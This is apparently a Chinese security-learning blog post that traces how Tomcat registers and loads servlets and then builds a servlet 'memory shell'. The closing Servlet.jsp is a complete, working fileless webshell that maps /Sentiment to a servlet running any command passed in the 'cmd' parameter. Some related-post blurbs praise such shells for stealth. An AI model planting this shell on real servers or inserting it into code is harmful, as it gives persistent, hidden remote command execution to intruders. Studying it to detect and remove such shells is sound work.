Tomcat Servlet内存马

最新推荐文章于 2024-03-17 09:05:44 发布
最新推荐文章于 2024-03-17 09:05:44 发布
阅读量150 收藏
点赞数
文章标签： servlet java tomcat 后端
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/LBWNB_Java/article/details/126027367
版权

Servlet

Tomcat 服务器是一个免费的开放源代码的Web 应用服务器，Tomcat是Apache 软件基金会（Apache Software Foundation）的Jakarta 项目中的一个核心项目，它早期的名称为catalina，后来由Apache、Sun 和其他一些公司及个人共同开发而成，并更名为Tomcat。Tomcat 是一个小型的轻量级应用服务器，在中小型系统和并发访问用户不是很多的场合下被普遍使用，是开发和调试JSP 程序的首选，因为Tomcat 技术先进、性能稳定，成为目前比较流行的Web 应用服务器。Tomcat是应用（java）服务器，它只是一个servlet容器，是Apache的扩展，但它是独立运行的。

从宏观上来看，Tomcat其实是Web服务器和Servlet容器的结合体。

<pre class="prettyprint hljs" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">Web服务器：通俗来讲就是将某台主机的资源文件映射成URL供给外界访问。（比如访问某台电脑上的图片文件）
Servlet容器：顾名思义就是存放Servlet对象的东西，Servlet主要作用是处理URL请求。（接受请求、处理请求、响应请求）
</pre>

Servlet接口一共有五个类分别是init（Servlet对象初始化时调用）、getServletConfig（获取web.xml中Servlet对应的init-param属性）、service（每次处理新的请求时调用）、getServletInfo（返回Servlet的配置信息，可自定义实现）、destroy（结束时调用）：

<pre class="prettyprint hljs java" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">public interface  Servlet  { 
    void  init(ServletConfig var1)  throws  ServletException;

    ServletConfig  getServletConfig();

    void  service(ServletRequest var1,  ServletResponse var2)  throws  ServletException,  IOException;

    String  getServletInfo();

    void  destroy();
}</pre>

Servlet.java

<pre class="prettyprint hljs scala" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">package memoryshell;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

public class  Servlet  extends  HttpServlet  { 
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 
        resp.getWriter().write("Hello,Sentiment!");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 
        doGet(req, resp);
    }
}</pre>

web.xml

<pre class="prettyprint hljs xml" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><servlet>
    <servlet-name>hello</servlet-name>
    <servlet-class>memoryshell.Servlet</servlet-class>
</servlet>
<!--Servlet的请求路径-->
<servlet-mapping>
    <servlet-name>hello</servlet-name>
    <url-pattern>/hello</url-pattern>
</servlet-mapping></pre>

访问/hello

Servlet生成

本地没有catalina，所以加了个依赖，可能是版本不对在调试时可能会有一丢丢代码不匹配的问题，但不影响正常流程

依赖

<pre class="prettyprint hljs xml" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.19</version>
</dependency></pre>

整个栈在ContextConfig调用了 configureStart#webConfig() 读取 web.xml

然后根据 web.xml 配置 context调用了 configureContext()

<pre class="prettyprint hljs kotlin" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">if (this.ok) { 
    this.configureContext(webXml);
}</pre>

跟进 configureContext() 前边依次读取了 Filter、Listenert的配置及其映射，我们直接看后边的 Servlet 部分：

首先通过 StandardContextS#createWrapper() ，创建wrapper对象

Wrapper（包装器）：代表一个 Servlet，它负责管理一个 Servlet，包括的 Servlet 的装载、初始化、执行以及资源回收。Wrapper 是最底层的容器，它没有子容器了，所以调用它的 addChild 将会报错。

<pre class="prettyprint hljs java" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">public  Wrapper  createWrapper()  { 
Wrapper wrapper = null;
if (wrapperClass != null) { 
    try { 
        wrapper = (Wrapper) wrapperClass.newInstance();
    } catch (Throwable t) { 
        ExceptionUtils.handleThrowable(t);
        log.error("createWrapper", t);
        return (null);
    }
} else { 
    wrapper = new StandardWrapper();</pre>

接着设置了启动优先级LoadOnStartUp，以及servlet的Name。

设置好优先级后就调用下边的 setServletClass() ，配置了Servlet的Class。

<pre class="prettyprint hljs css" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">wrapper.setServletClass(servlet.getServletClass());</pre>

最后通过 addChild() 将创建并配置好的 Wrapper 添加到 Context 中。通过循环遍历所有 servlets 完成了 Servlet 从配置到添加的全过程，接下

来就需要添加Servlet-Mapper了（对应web.xml中的 <servlet-mapping> ）

取出web.xml中所有配置的Servlet-Mapping，通过context.addServletMappingDecoded()将url路径和servlet类做映射。(这里的/hello、hello就是我们在Mapper中设置的值)

  1. 通过 context.createWapper() 创建 Wapper 对象；
  2. 设置 Servlet 的 LoadOnStartUp 的值；
  3. 设置 Servlet 的 Name；
  4. 设置 Servlet 对应的 Class；
  5. 通过addChild()将创建并配置好的 Wrapper 添加到 Context 中
  6. 通过addServletMappingDecoded()将 url 路径和 servlet 类做映射。

Servlet加载

在 org.apache.catalina.core.StandardWapper#loadServlet() 下断点调试：

回溯到 StandardContext#startInternal 同样也是在处理完listener和filter后，处理Servlet，这也就体现了分析Listener中提到的执行流程(Listener -> Filter -> Servlet)

首先调用了 findChildren() ，将之前通过 addChild() 添加的所有Wapper传入 loadOnStartup() 中处理

跟进 loadOnStartup() ，children的值就是通过 this.findChildren() 传入进来的

通过循环将children中的值逐一赋给child，在赋值给wrapper中，之后有一段判断:

<pre class="prettyprint hljs cpp" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;">if (loadOnStartup >= 0) { 
    Integer key = loadOnStartup;
    ArrayList<Wrapper> list = (ArrayList)map.get(key);
    if (list == null) { 
        list = new ArrayList();
        map.put(key, list);
    }

    list.add(wrapper);
}</pre>

如果loadOnStartup >= 0，就会将wrapper追加到list中，但loadOnStartup 的默认值是-1，

在servlet的配置当中即(web.xml)， <load-on-startup>1</load-on-startup> 的含义是：

标记容器是否在启动的时候就加载这个servlet。

当值为0或者大于0时，表示容器在应用启动时就加载这个servlet；

当是一个负数时或者没有指定时，则指示容器在该servlet被选择时才加载。

正数的值越小，启动该servlet的优先级越高。 </load-on-startup>

由于我们要注入内存马，且没有配置xml不会在应用启动时就加载这个servlet，因此需要通过反射将值修改为1，将其追加到list中

之后通过load()进行加载，根据具体请求进行初始化、调用、销毁一系列操作

Servlet内存马

首先通过doGet方法实现恶意类

<pre class="prettyprint hljs java" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><%
    HttpServlet httpServlet = new HttpServlet() { 
      @Override
      protected  void  doGet(HttpServletRequest req,  HttpServletResponse resp)  throws  ServletException,  IOException  { 
        InputStream is = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
        BufferedInputStream bis = new BufferedInputStream(is);
        int len;
        while ((len = bis.read())!=-1){ 
          resp.getWriter().write(len);
        }
      }

      @Override
      protected  void  doPost(HttpServletRequest req,  HttpServletResponse resp)  throws  ServletException,  IOException  { 
        super.doPost(req, resp);
      }
    };

%></pre>

之后还是老办法获取StandardContext：

<pre class="prettyprint hljs vbscript" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext stdcontext = (StandardContext) req.getContext();
%></pre>

反射修改 loadOnStartup

<pre class="prettyprint hljs delphi" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><%
    Wrapper newWrapper = stdcontext.createWrapper();
    String name = servlet.getClass().getSimpleName();
    newWrapper.setName(name);
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());
%></pre>

最后将 URL 路径与 Servlet 恶意类做映射：

<pre class="prettyprint hljs erb" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><% // url绑定
    stdcontext.addChild(newWrapper);
    stdcontext.addServletMappingDecoded("/Sentiment", name); %></pre>

Servlet.jsp

<pre class="prettyprint hljs erb" style="padding: 0.5em; font-family: Menlo, Monaco, Consolas, &quot;Courier New&quot;, monospace; color: rgb(68, 68, 68); border-radius: 4px; display: block; margin: 0px 0px 1.5em; font-size: 14px; line-height: 1.5em; word-break: break-all; overflow-wrap: break-word; white-space: pre; background-color: rgb(246, 246, 246); border: none; overflow-x: auto; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial;"><%@ page import="java.lang.reflect.Field"  %>  <%@ page import="org.apache.catalina.core.StandardContext"  %>  <%@ page import="org.apache.catalina.connector.Request"  %>  <%@ page import="java.io.IOException"  %>  <%@ page import="org.apache.catalina.Wrapper"  %>  <%@ page import="java.io.InputStream"  %>  <%@ page import="java.io.BufferedInputStream"  %>  <%@ page contentType="text/html;charset=UTF-8" language="java"  %>  <html>  <head>  <title>Sentiment</title>  </head>  <body>  <%  HttpServlet httpServlet =  new  HttpServlet()  {  @Override  protected  void  doGet(HttpServletRequest req,  HttpServletResponse resp)  throws  ServletException,  IOException  {  InputStream is =  Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();  BufferedInputStream bis =  new  BufferedInputStream(is);  int len;  while  ((len = bis.read())!=-1){ 
                resp.getWriter().write(len);  }  }  @Override  protected  void  doPost(HttpServletRequest req,  HttpServletResponse resp)  throws  ServletException,  IOException  {  super.doPost(req, resp);  }  };  //获得StandardContext  Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true);  Request req =  (Request) reqF.get(request);  StandardContext stdcontext =  (StandardContext) req.getContext();  //从StandardContext.createWapper()获得一个Wapper对象  Wrapper newWrapper = stdcontext.createWrapper();  String name = httpServlet.getClass().getSimpleName(); newWrapper.setName(name); newWrapper.setLoadOnStartup(1); newWrapper.setServlet(httpServlet); newWrapper.setServletClass(httpServlet.getClass().getName());  //将Wrapper添加到StandardContext stdcontext.addChild(newWrapper); stdcontext.addServletMappingDecoded("/Sentiment", name);  %></pre>

访问Servlet.jsp后注入成功

Java技术那些事儿
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
【干货】Servlet内存马加载流程分析
hyun134340的博客
01-06 96
Servlet内存马的最后一篇，和之前的分析其实差不太多，基础知识就不进行了，这篇文章就直接从加载开始说起，废话不多说直接开始吧。
S06-tomcat之servlet内存马1
08-03
S06-tomcat之servlet内存马1
java Servlet内存马
hongduilanjun的博客
03-26 3611
Servlet web.xml <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmln
Servlet内存马
angry_program的博客
07-08 2386
1. 何谓内存马？ 以Tomcat为例，内存马主要利用了Tomcat的部分组件会在内存中长期驻留的特性，只要将我们的恶意组件注入其中，就可以一直生效，直到容器重启。 Java内存shell有很多种，大致分为： 1. 动态注册filter 2. 动态注册servlet 3. 动态注册listener 4. 基于Java agent拦截修改关键类字节码实现内存shell 该文主要研究Servlet内存马的原理和实现。 2. 何为Servlet？ Tomcat 服务器是一个免费的开放源代
Java安全之servlet内存马分析
shelter1234567的博客
09-30 1813
php和jsp一句话马我想大家都知道，早先就听小伙伴说过一句话木马已经过时了，现在是内存马的天下了 ，内存马无落地文件，更隐蔽不易被发现。翻一翻大佬的文章看起来让人云里雾里的，究竟什么是内存马呢？为了搞清这点我们必须从java的特性底层出发，才能对内存马知根知底。本节我将介绍什么是内存马？什么是servlet？servlet运行机制jsp的本质Tomcat总体架构注册servlet到tomcat注册的流程StandardContext类servlet内存马的实现。
Spring关闭Tomcat Servlet容器时内存泄漏问题解决方案
08-25
主要介绍了Spring关闭Tomcat Servlet容器时内存泄漏问题解决方案,文中通过示例代码介绍的非常详细，对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下
Tomcat servlet 配置
10-14
Tomcat 和 servlet的配置 和 简单入门案列
tomcat中Servlet的工作机制详细介绍
01-20
在研究Servlet在tomcat中的工作机制前必须先看看Servlet规范的一些重要的相关规定，规范提供了一个Servlet接口，接口中包含的重要方法是init、service、destroy等方法，Servlet在初始化时要调用init方法，在销毁时要...
Tomcat 检测内存泄漏实例详解
01-10
Tomcat如何检测内存泄漏 一般情况下，如果我们重启web应用是通过重启tomcat的话，则不存在内存泄漏问题。但如果不重启tomcat而对web应用进行重加载则可能会导致内存泄漏，因为重加载后有可能会导致原来的某些内存...
Javaweb安全——Tomcat 内存马基础
weixin_43610673的博客
08-17 1329
无文件落地的 webshell 技术，即，通常配合反序列化或者spel表达式注入进行类加载写入。本文环境 Tomcat 9.0.59 作为中间件，且并没有配置spring框架，代码具体实现与中间件有关。
Tomcat内存马
最新发布
qq_64201116的博客
03-17 771
描述Servlet3.0后允许动态注册组件这一技术的实现有赖于官方对Servlet3.0的升级，Servlet在3.0版本之后能够支持动态注册组件。而Tomcat直到7.x才支持Servlet3.0，因此通过动态添加恶意组件注入内存马的方式适合Tomcat7.x及以上。为了便于调试Tomcat，我们先在父项目的pom文件中引入Tomcat依赖关键在于 JSP->可识别类（恶意类）
Tomcat Filter类型内存马与查杀技术学习
wangluoanquan111的博客
08-04 742
从时代发展的角度看，网络安全的知识是学不完的，而且以后要学的会更多，同学们要摆正心态，既然选择入门网络安全，就不能仅仅只是入门程度而已，能力越强机会才越多。因为入门学习阶段知识点比较杂，所以我讲得比较笼统，大家如果有不懂的地方可以找我咨询，我保证知无不言言无不尽，需要相关资料也可以找我要，我的网盘里一大堆资料都在吃灰呢。干货主要有：①1000+CTF历届题库（主流和经典的应该都有了）②CTF技术文档（最全中文版）③项目源码（四五十个有趣且经典的练手项目及源码）
【干货】Servlet内存马加载流程分析.md
2201_75660665的博客
12-09 150
Servlet内存马的最后一篇，和之前的分析其实差不太多，基础知识就不进行了，这篇文章就直接从加载开始说起，废话不多说直接开始吧。
基于Servlet-API型JAVA内存马(filter型、servlet型、listener型)
遇事不决冲冲冲
06-03 2298
常规的木马实际写出落地后容易被检查出来，并且webshell被发现后也就导致我们的行动被发现，很容易造成木马被查杀、利用漏洞被修复，使我们的攻击变得更加艰难，所以内存马的出现与利用无疑是增强了隐蔽性，可以让我们的攻击更加稳定、持久Tomcat、filter、servlet、listener......
Tomcat内存马学习2：Servlet型
weixin_43263451的博客
07-23 578
上一篇讲了filter型内存马，而这次这个servlet型内存马也是大同小异，就是在内存中恶意创建一个servlet供攻击者使用必须搞懂servlet的加载机制（创建standwrapper，添加到standcontext中，加载standwrapper）在此加载机制基础上，设计出servlet内存马poc。...
从Tomcat源码中寻找request路径进行注入
ALLEN'Blog
02-20 382
前面主要是通过寻找一个全局存储的request / response来进行Tomcat中间下的回显，但是在tomcat7环境下并不能够获取到对象，这里李三师傅在前文的基础中发现了在的调用中不仅像之前的思路一样将获取到的对象存放在了global属性中。同样通过调用方法将对象进行组件的注册流程中。
java内存马学习记录(一)Tomcat Listener内存马
AsagiRiAsagi的博客
03-18 270
这里的request是org.apache.catalina.connector.Request，实现了HttpServletRequest接口，因为jsp本质是servlet，可以直接调用。接口的监听器一般作用于tomcat初始化启动阶段，此时客户端的请求还没进入解析阶段，不适合用于内存马。Request类型的Listener触发难度比较低，直接访问就可以，适合注册作为内存马。Listener是最先被加载的，Listener分以下几种。接口应用于各个对象事件的监听，有许多继承它的接口。
【Tomcat】容器 之 Wrapper（Servlet）
u010900754的专栏
05-01 1569
tomcat4.0版本。wrapper是四大容器最底层的容器，是请求处理的真正容器。与servlet的区别是：wrapper本质并未处理请求，而是加载对应的servlet来处理，在这之前也会调用filter。首先来看一个context和wrapper容器的调用时序图：与之前容器一样，也是在构造方法里设置自己pipeline的basic 的valve： /** * Create a ...
tomcat 修改内存
09-13
要修改 Tomcat 的内存配置，你可以按照以下步骤进行操作： 1. 打开 Tomcat 安装目录下的 bin 文件夹。 2. 在该文件夹中找到 `catalina.sh`（Linux/Unix）或 `catalina.bat`（Windows）文件。 3. 用文本编辑器打开该文件。 4. 在文件中找到设置 JAVA_OPTS 的行，一般是以 `JAVA_OPTS` 开头的一行。 5. 在该行的末尾添加 `-Xms<最小内存> -Xmx<最大内存>`，其中 `<最小内存>` 和 `<最大内存>` 是你想要设置的 Tomcat 内存大小。例如，你可以使用 `-Xms512m -Xmx1024m` 来将初始内存设置为 512MB，最大内存设置为 1GB。 6. 保存文件并关闭编辑器。 7. 重新启动 Tomcat 服务器。 请注意，这里的修改只会影响 Tomcat 的内存配置，不会对其他应用程序产生影响。确保你有足够的可用系统内存来支持所设置的内存大小。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值